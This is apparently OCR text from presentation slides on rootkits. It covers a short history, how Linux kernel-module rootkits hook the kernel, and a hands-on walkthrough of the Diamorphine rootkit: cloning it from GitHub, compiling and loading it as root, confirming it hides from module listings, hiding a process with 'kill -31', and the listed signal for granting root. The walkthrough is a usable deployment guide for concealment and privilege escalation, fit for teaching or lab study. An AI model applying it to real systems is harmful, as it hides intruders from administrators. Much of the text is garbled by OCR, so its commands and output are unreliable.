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What are rootkits?

* A rootkit establishes a remote interface on a machine that allows
the system to be manipulated (C2) and data to be collected
(surveillance) in a manner that is difficult to observe (concealment)
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Brief history

» Ken Thompson’s rootkit ROOJTKITS

* Brain virus 5\':[]
e SunOS rootkit, 1990 >

* SonyBMG rootkit
» Greek wiretapping
« CarrierlQ rootkit on smartphone and handheld devices
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About LKM (linux kernel module) rootkits

* Insertion of malicious code into kernel on the fly
» Enables overriding kernel system calls

» Enables manipulation of /dev/ikmem device file, allowing intruder to
virtually control the kernel on runtime, monitoring every read/write
memory operations

Kernel Rootkits

* Use Loadable Kemel Modules (LKMs) for
Linux or Device Drivers for Windows

e Full kernel access

Kernel Space LKM
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About LKM (linux kernel module) rootkits

* Allows for CPU register hooking
* Facilitates Kernel object hooking
* Allows direct kernel object manipulation

user Application, , 3)
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Testing Environment

» Kali Linux 2017

# cat /etc/*rel*

DISTRIB ID=Kali
DISTRIB RELEASE=kali-rolling
DISTRIB CODENAME=kali-rolling
IPTION="Kali GNU/Linux Rolling"

PRETTY NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali

ON="2017
VERSION ID="
ID LIKE=debian
ANST COL il )< i
HOME ="http://www.kali.org/"
SUPPORT URL="http://forums.kali.org/"
BUG REPORT URL="http://bugs.kali.org/"
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Diamorphine LKM

» Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x

Features

* When loaded, the module starts invisible;

» Hide/unhide any process by sending a signal 31;

» Sending a signal 63(to any pid) makes the module become (in)visible;
» Sending a signal 64(to any pid) makes the given user become root;

* Files or directories starting with the MAGIC_PREFIX become invisble;
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Installing Diamorphine

* Verify if the kernel is 2.6.x/3.x/4.x -> uname —r

# uname -r

4.13.0-kalil-amdec4
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Installing Diamorphine

* Clone the repository

# git clone https://github.com/mOnad/Diamorphine
9 ine'...
“ounting objects: 73, done.

emote: Total 73 (delta 0), reused 0 (delta 0), pack-reused 73
Unpacking objects: 100% (73/73), done.
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Installing Diamorphine

» Enter the folder, compile and load the module (as root)

# cd Diamorphine/
# make

d64/build M=/root/Diamorphine modules
1ake[l]: i N us c/linux-headers-4.13.0-kalil-amd64"
CC [M] ' '

€C
LD [M] C orph
make[1l]: Leaving directory '/us {e eaders-4.13.0-kalil-amd64'
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Using Diamorphine

* When loaded, the module starts invisible

# lsmod | grep -i diec
# cat /proc/modul | grep -i dia

: # modinfo diamorp
modinfo: ERROR: Module diamorphine not found.
: # kmod list | grep -i diamorphine
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Using Diamorphine

 Hide a python process by sending a signal 31
* Python process -> pid 4264
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Using Diamorphine

* Hide the process with pid 4264 by sending a signal 31

kill -31 4264
lsof -p 4264

ps auxw | grep -v grep | grep -1 pyt
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